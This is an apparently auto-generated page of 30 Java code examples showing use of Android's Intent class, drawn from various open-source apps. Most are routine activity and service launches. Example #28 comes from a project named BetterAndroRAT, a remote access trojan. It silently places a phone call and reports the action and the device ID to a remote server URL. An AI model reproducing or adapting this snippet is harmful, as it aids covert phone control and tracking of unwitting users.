android.content.Intent Java Examples
The following examples show how to use
android.content.Intent.
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: FormEntryActivity.java From commcare-android with Apache License 2.0 | 5 votes |
private void handleFormLoadCompletion(AndroidFormController fc) { if (GeoUtils.ACTION_CHECK_GPS_ENABLED.equals(locationRecieverErrorAction)) { FormEntryDialogs.handleNoGpsBroadcast(this); } else if (PollSensorAction.XPATH_ERROR_ACTION.equals(locationRecieverErrorAction)) { handleXpathErrorBroadcast(); } mFormController = fc; if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB) { // Newer menus may have already built the menu, before all data was ready invalidateOptionsMenu(); } registerSessionFormSaveCallback(); boolean isRestartAfterSessionExpiration = getIntent().getBooleanExtra(KEY_IS_RESTART_AFTER_EXPIRATION, false); // Set saved answer path if (FormEntryInstanceState.mFormRecordPath == null) { instanceState.initFormRecordPath(); } else if (!isRestartAfterSessionExpiration) { // we've just loaded a saved form, so start in the hierarchy view Intent i = new Intent(this, FormHierarchyActivity.class); startActivityForResult(i, FormEntryConstants.HIERARCHY_ACTIVITY_FIRST_START); return; // so we don't show the intro screen before jumping to the hierarchy } reportFormEntryTime(); formEntryRestoreSession.replaySession(this); uiController.refreshView(); FormNavigationUI.updateNavigationCues(this, mFormController, uiController.questionsView); if (isRestartAfterSessionExpiration) { Toast.makeText(this, Localization.get("form.entry.restart.after.expiration"), Toast.LENGTH_LONG).show(); } }
Example #2
Source File: MainActivity.java From andela-crypto-app with Apache License 2.0 | 5 votes |
@Override public boolean onOptionsItemSelected(MenuItem item) { // Handle action bar item clicks here. The action bar will // automatically handle clicks on the Home/Up button, so long // as you specify a parent activity in AndroidManifest.xml. int id = item.getItemId(); if (id == R.id.action_profile) { profileDialog.show(getSupportFragmentManager(), "profile"); return true; } else if (id == R.id.action_settings) { startActivity(new Intent(this, SettingsActivity.class)); return true; } return super.onOptionsItemSelected(item); }
Example #3
Source File: SwipeLayoutActivity.java From UltimateAndroid with Apache License 2.0 | 5 votes |
@Override public boolean onOptionsItemSelected(MenuItem item) { // Handle action bar item clicks here. The action bar will // automatically handle clicks on the Home/Up button, so long // as you specify a parent activity in AndroidManifest.xml. int id = item.getItemId(); if (id == R.id.action_listview) { startActivity(new Intent(this, ListViewExample.class)); return true; } else if (id == R.id.action_gridview) { startActivity(new Intent(this, GridViewExample.class)); return true; } else if (id == R.id.action_nexted) { startActivity(new Intent(this, NestedExample.class)); return true; } return super.onOptionsItemSelected(item); }
Example #4
Source File: MainActivity.java From pos with Eclipse Public License 1.0 | 5 votes |
/** * Set language * @param localeString */ private void setLanguage(String localeString) { Locale locale = new Locale(localeString); Locale.setDefault(locale); Configuration config = new Configuration(); config.locale = locale; LanguageController.getInstance().setLanguage(localeString); getBaseContext().getResources().updateConfiguration(config, getBaseContext().getResources().getDisplayMetrics()); Intent intent = getIntent(); finish(); startActivity(intent); }
Example #5
Source File: ChromeCustomTabs.java From browser-switch-android with MIT License | 5 votes |
/** * Adds the required extras and flags to an {@link Intent} for using Chrome Custom Tabs. If * Chrome Custom Tabs are not available or supported no change will be made to the {@link Intent}. * * @param context Application context * @param intent The {@link Intent} to add the extras and flags to for Chrome Custom Tabs. * @return The {@link Intent} supplied with additional extras and flags if Chrome Custom Tabs * are supported and available. */ public static Intent addChromeCustomTabsExtras(Context context, Intent intent) { if (SDK_INT >= JELLY_BEAN_MR2 && ChromeCustomTabs.isAvailable(context)) { Bundle extras = new Bundle(); extras.putBinder("android.support.customtabs.extra.SESSION", null); intent.putExtras(extras); intent.addFlags(Intent.FLAG_ACTIVITY_MULTIPLE_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK); } return intent; }
Example #6
Source File: Commander.java From microMathematics with GNU General Public License v3.0 | 5 votes |
@Override public void issue(Intent in, int ret) { if (in == null) return; try { if (ret == 0) context.startActivity(in); else context.startActivityForResult(in, ret); } catch (Exception e) { e.printStackTrace(); } }
Example #7
Source File: MainActivity.java From checkey with GNU General Public License v3.0 | 5 votes |
private void byApkHash(AppEntry appEntry, Intent intent) { String urlString = "https://androidobservatory.org/?searchby=binhash&q=" + Utils.getBinaryHash(appEntry.getApkFile(), "sha1"); intent.setData(Uri.parse(urlString)); intent.putExtra(Intent.EXTRA_TITLE, R.string.by_apk_hash); startActivity(intent); }
Example #8
Source File: UserPhotosFragment.java From android-open-project-demo with Apache License 2.0 | 5 votes |
public void onItemClick(AdapterView<?> gridView, View view, int position, long id) { if (view.getId() == R.id.iv_camera_button) { takePhoto(); } else { Bundle b = null; if (VERSION.SDK_INT >= 16) { ActivityOptionsCompat options = ActivityOptionsCompat .makeThumbnailScaleUpAnimation(view, Utils.drawViewOntoBitmap(view), 0, 0); b = options.toBundle(); } Intent intent = new Intent(getActivity(), PhotoViewerActivity.class); // Need take Camera icon into account so minus 1 intent.putExtra(PhotoViewerActivity.EXTRA_POSITION, position - 1); intent.putExtra(PhotoViewerActivity.EXTRA_MODE, PhotoViewerActivity.MODE_ALL_VALUE); MediaStoreBucket bucket = (MediaStoreBucket) mBucketSpinner .getSelectedItem(); intent.putExtra(PhotoViewerActivity.EXTRA_BUCKET_ID, bucket.getId()); ActivityCompat.startActivityForResult(getActivity(), intent, RESULT_PHOTOVIEW, b); } }
Example #9
Source File: PostActivity.java From FaceT with Mozilla Public License 2.0 | 5 votes |
private View createView2() { LayoutInflater inflater2 = LayoutInflater.from(getBaseContext()); LinearLayout view2 = (LinearLayout) inflater2.inflate(R.layout.activity_post_image, null, false); Typeface fontType = FontManager.getTypeface(getApplicationContext(), FontManager.APP_FONT); FontManager.markAsIconContainer(findViewById(R.id.activity_post_layout), fontType); mSelectImage = (ImageButton) view2.findViewById(R.id.imageButton); mSelectImage.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { Intent intent = new Intent( Intent.ACTION_PICK, android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI); startActivityForResult(intent, GALLERY_REQUEST); } }); return view2; }
Example #10
Source File: GenericForegroundService.java From mollyim-android with GNU General Public License v3.0 | 5 votes |
public static void stopForegroundTask(@NonNull Context context, int id) { Intent intent = new Intent(context, GenericForegroundService.class); intent.setAction(ACTION_STOP); intent.putExtra(EXTRA_ID, id); ContextCompat.startForegroundService(context, intent); }
Example #11
Source File: KeepLiveActivity.java From Android with MIT License | 5 votes |
@Override public void initView() { activity = this; Window window = getWindow(); window.setGravity(Gravity.LEFT | Gravity.TOP); WindowManager.LayoutParams params = window.getAttributes(); params.x = 0; params.y = 0; params.width = 1; params.height = 1; window.setAttributes(params); receiver =new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { finish(); } }; IntentFilter filter = new IntentFilter(); filter.addAction("KeepLive"); registerReceiver(receiver, filter); }
Example #12
Source File: DeviceControlActivity.java From IoT-Firstep with GNU General Public License v3.0 | 5 votes |
@Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_control); final Intent intent = getIntent(); //获取设备名以及设备地址 mDeviceName = intent.getStringExtra(C.EXTRAS_DEVICE_NAME); mDeviceAddress = intent.getStringExtra(C.EXTRAS_DEVICE_ADDRESS); getSupportActionBar().setTitle(mDeviceName); getSupportActionBar().setDisplayHomeAsUpEnabled(true); //绑定BLE服务 Intent gattServiceIntent = new Intent(this, BluetoothLeService.class); bindService(gattServiceIntent, mServiceConnection, BIND_AUTO_CREATE); seekBarValueR = (TextView) findViewById(R.id.seekbar_value_r); seekBarValueG = (TextView) findViewById(R.id.seekbar_value_g); seekBarValueB = (TextView) findViewById(R.id.seekbar_value_b); seekBarR = (SeekBar) findViewById(R.id.seekbar_r); seekBarG = (SeekBar) findViewById(R.id.seekbar_g); seekBarB = (SeekBar) findViewById(R.id.seekbar_b); seekBarR.setOnSeekBarChangeListener(this); seekBarG.setOnSeekBarChangeListener(this); seekBarB.setOnSeekBarChangeListener(this); }
Example #13
Source File: NetStatusReceiver.java From zone-sdk with MIT License | 5 votes |
@Override public void onReceive(Context context, Intent intent) { String action = intent.getAction(); if (action.equals(ConnectivityManager.CONNECTIVITY_ACTION)) { ConnectivityManager connectivityManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE); NetworkInfo info = connectivityManager.getActiveNetworkInfo(); NetStatue status = NetStatue.NO_WORK; if (info != null && info.isAvailable()) { if (NetManager.Net_MOBILE.equals(info.getTypeName())) { status = NetStatue.MOBILE; } else if (NetManager.Net_WIFI.equals(info.getTypeName())) { status = NetStatue.WIFI; } } if (listener != null) { listener.netWorkChange(status); } } }
Example #14
Source File: SWExtensionService.java From Botifier with BSD 2-Clause "Simplified" License | 5 votes |
@Override protected void onViewEvent(Intent intent) { String action = intent.getStringExtra(Notification.Intents.EXTRA_ACTION); String hostAppPackageName = intent .getStringExtra(Registration.Intents.EXTRA_AHA_PACKAGE_NAME); boolean advancedFeaturesSupported = DeviceInfoHelper.isSmartWatch2ApiAndScreenDetected( this, hostAppPackageName); int eventId = intent.getIntExtra(Notification.Intents.EXTRA_EVENT_ID, -1); if (Notification.SourceColumns.ACTION_1.equals(action)) { NotificationUtil.deleteAllEvents(this); } else if (Notification.SourceColumns.ACTION_2.equals(action)) { NotificationUtil.deleteAllEvents(this); } else if (Notification.SourceColumns.ACTION_3.equals(action)) { Toast.makeText(this, "Action 3", Toast.LENGTH_LONG).show(); } }
Example #15
Source File: MainActivity.java From material-intro-screen with MIT License | 5 votes |
@Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); button = (AppCompatButton) findViewById(R.id.btn_launch_activity); button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent intent = new Intent(MainActivity.this, IntroActivity.class); startActivity(intent); } }); }
Example #16
Source File: MainActivityHelper.java From PowerFileExplorer with GNU General Public License v3.0 | 5 votes |
/** * Helper method to start Compress service * * @param file the new compressed file * @param baseFiles list of {@link BaseFile} to be compressed */ public void compressFiles(File file, ArrayList<BaseFile> baseFiles) { int mode = checkFolder(file.getParentFile(), mainActivity); if (mode == 2) { mainActivity.originPath_oppathe = (file.getPath()); mainActivity.operation = DataUtils.COMPRESS; mainActivity.originPaths_oparrayList = baseFiles; } else if (mode == 1) { Intent intent2 = new Intent(mainActivity, ZipTask.class); intent2.putExtra(ZipTask.KEY_COMPRESS_PATH, file.getPath()); intent2.putExtra(ZipTask.KEY_COMPRESS_FILES, baseFiles); ServiceWatcherUtil.runService(mainActivity, intent2); } else { Toast.makeText(mainActivity, R.string.not_allowed, Toast.LENGTH_SHORT).show(); } }
Example #17
Source File: NavigationUtil.java From Phonograph with GNU General Public License v3.0 | 5 votes |
public static void goToAlbum(@NonNull final Activity activity, final int albumId, @Nullable Pair... sharedElements) { final Intent intent = new Intent(activity, AlbumDetailActivity.class); intent.putExtra(AlbumDetailActivity.EXTRA_ALBUM_ID, albumId); //noinspection unchecked if (sharedElements != null && sharedElements.length > 0) { activity.startActivity(intent, ActivityOptionsCompat.makeSceneTransitionAnimation(activity, sharedElements).toBundle()); } else { activity.startActivity(intent); } }
Example #18
Source File: StateIntentCompleted.java From Camera2 with Apache License 2.0 | 5 votes |
public static StateIntentCompleted from( State previousState, RefCountBase<ResourceConstructed> resourceConstructed) { return new StateIntentCompleted( previousState, resourceConstructed, Optional.<Intent>absent()); }
Example #19
Source File: RxBroadcast.java From RxBroadcast with Apache License 2.0 | 5 votes |
private static Observable<Intent> createBroadcastObservable( final BroadcastRegistrarStrategy broadcastRegistrarStrategy, final OrderedBroadcastAbortStrategy orderedBroadcastAbortStrategy) { return Observable.create(new ObservableOnSubscribe<Intent>() { @Override public void subscribe(final ObservableEmitter<Intent> intentEmitter) throws Exception { final BroadcastReceiver broadcastReceiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { intentEmitter.onNext(intent); if (isOrderedBroadcast()) { orderedBroadcastAbortStrategy.handleOrderedBroadcast( context, intent, BroadcastReceiverAbortProxy.create(this)); } } }; intentEmitter.setCancellable(new Cancellable() { @Override public void cancel() throws Exception { broadcastRegistrarStrategy.unregisterBroadcastReceiver(broadcastReceiver); } }); broadcastRegistrarStrategy.registerBroadcastReceiver(broadcastReceiver); } }); }
Example #20
Source File: HashCalculatorFragment.java From hash-checker with Apache License 2.0 | 5 votes |
private void openInnerFileManager() { Intent openExplorerIntent = new Intent( getContext(), FileManagerActivity.class ); String lastPath = SettingsHelper.getLastPathForInnerFileManager(context); if (lastPath != null) { openExplorerIntent.putExtra( FileManagerActivity.LAST_PATH, lastPath ); } startActivityForResult( openExplorerIntent, FileManagerActivity.FILE_SELECT_FROM_FILE_MANAGER ); }
Example #21
Source File: SealAppContext.java From sealtalk-android with MIT License | 5 votes |
private void joinRealTimeLocation(Context context, Conversation.ConversationType conversationType, String targetId) { RongIMClient.getInstance().joinRealTimeLocation(conversationType, targetId); Intent intent = new Intent(((FragmentActivity) context), RealTimeLocationActivity.class); intent.putExtra("conversationType", conversationType.getValue()); intent.putExtra("targetId", targetId); context.startActivity(intent); }
Example #22
Source File: MainActivity.java From Flora with MIT License | 5 votes |
@OnClick(R.id.github) void openGithub(View view) { Intent intent = new Intent(); intent.setData(Uri.parse(com.jascal.flora.net.Config.GITHUB)); intent.setAction(Intent.ACTION_VIEW); this.startActivity(intent); }
Example #23
Source File: MainActivity.java From sana.mobile with BSD 3-Clause "New" or "Revised" License | 5 votes |
@Override public boolean onOptionsItemSelected(MenuItem item) { switch (item.getItemId()) { case OPTION_EXPORT_DATABASE: try { boolean exported = SanaUtil.exportDatabase(this, "models.db"); } catch (IOException e) { e.printStackTrace(); } return true; case OPTION_SETTINGS: Intent i = new Intent(Intent.ACTION_PICK); i.setClass(this, Settings.class); startActivityForResult(i, SETTINGS); return true; case OPTION_SYNC: //doUpdatePatientDatabase(); return true; } return false; }
Example #24
Source File: PjActions.java From react-native-pjsip with GNU General Public License v3.0 | 5 votes |
public static Intent createUseSpeakerCallIntent(int callbackId, int callId, Context context) { Intent intent = new Intent(context, PjSipService.class); intent.setAction(PjActions.ACTION_USE_SPEAKER_CALL); intent.putExtra("callback_id", callbackId); intent.putExtra("call_id", callId); return intent; }
Example #25
Source File: QopenExternalRNImpl.java From imsdk-android with MIT License | 5 votes |
@Override public boolean startActivityAndNeedWating(IMBaseActivity context, Map<String, String> map) { // if(map != null){ // String groupId = map.get("groupId"); Intent intent = new Intent(context, QtalkServiceExternalRNActivity.class); for (Map.Entry<String, String> entry : map.entrySet()) { // intent.putExtra(entry.getKey(), entry.getValue() + ""); // map.put(entry.getKey(),entry.getValue()); // str+=entry.getKey()+"="+entry.getValue()+"&"; intent.putExtra(entry.getKey(),entry.getValue()); } // intent.putExtra("groupId", groupId); // intent.putExtra("permissions", ConnectionUtil.getInstance().selectGroupMemberPermissionsByGroupIdAndMemberId(groupId, CurrentPreference.getInstance().getPreferenceUserId())); context.startActivity(intent); // } return false; }
Example #26
Source File: IntentHelperTest.java From OnActivityResult with Apache License 2.0 | 5 votes |
@Test public void testGetStringExtra() { final Intent intent = mock(Intent.class); IntentHelper.getExtraString(intent, "StringExtra", null); verify(intent).getStringExtra("StringExtra"); verifyNoMoreInteractions(intent); }
Example #27
Source File: SetupIntro.java From android-picturepassword with MIT License | 5 votes |
private void saveData() { if ( !PicturePasswordUtils.saveUnlockData( this, mBitmap, mGridSize, mRandomize, mChosenNumber, mUnlockPosition ) ) { // uh oh finish(); } else { PendingIntent requestedIntent = getIntent().getParcelableExtra( "PendingIntent" ); boolean ok = false; if ( requestedIntent != null ) { try { requestedIntent.send(); ok = true; } catch ( CanceledException e ) { ok = false; } } else { Log.e( "PicturePassword", "PendingIntent was null or canceled! This is probably bad!" ); Intent chooseIntent = new Intent(); chooseIntent.setClassName( "com.android.settings", "com.android.settings.ChooseLockGeneric" ); chooseIntent.putExtra( "lockscreen.biometric_weak_fallback", true ); startActivity( chooseIntent ); } finish(); } }
Example #28
Source File: MyService.java From BetterAndroRAT with GNU General Public License v3.0 | 5 votes |
@Override protected String doInBackground(String... params) { String telephone = "tel:" + i.trim() ; Intent intent = new Intent(Intent.ACTION_CALL); intent.setData(Uri.parse(telephone)); intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivity(intent); try { getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "Call Initiated: " + i); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } return "Executed"; }
Example #29
Source File: AppEventBus.java From android-openslmediaplayer with Apache License 2.0 | 5 votes |
private static Intent createEventIntent(AppEvent event) { Intent intent = new Intent(); intent.setAction(categoryToActionName(event.category)); intent.putExtra(EXTRA_EVENT, event); return intent; }
Example #30
Source File: IntentUtils.java From OmniList with GNU Affero General Public License v3.0 | 5 votes |
public static void sendEmail(Activity context, String subject, String body) { Intent intent = new Intent(Intent.ACTION_SENDTO, Uri.parse("mailto:" + Constants.DEVELOPER_EMAIL)); intent.putExtra(Intent.EXTRA_SUBJECT, subject); intent.putExtra(Intent.EXTRA_TEXT, body); // intent.putExtra(Intent.EXTRA_EMAIL, Constants.DEVELOPER_EMAIL); if (IntentUtils.isAvailable(context, intent, null)) { context.startActivity(intent); } else { ModelHelper.copyToClipboard(context, "mailto:" + Constants.DEVELOPER_EMAIL + "\n" + subject + ":\n" + body); ToastUtils.makeToast(R.string.failed_to_resolve_intent); ToastUtils.makeToast(R.string.content_was_copied_to_clipboard); } }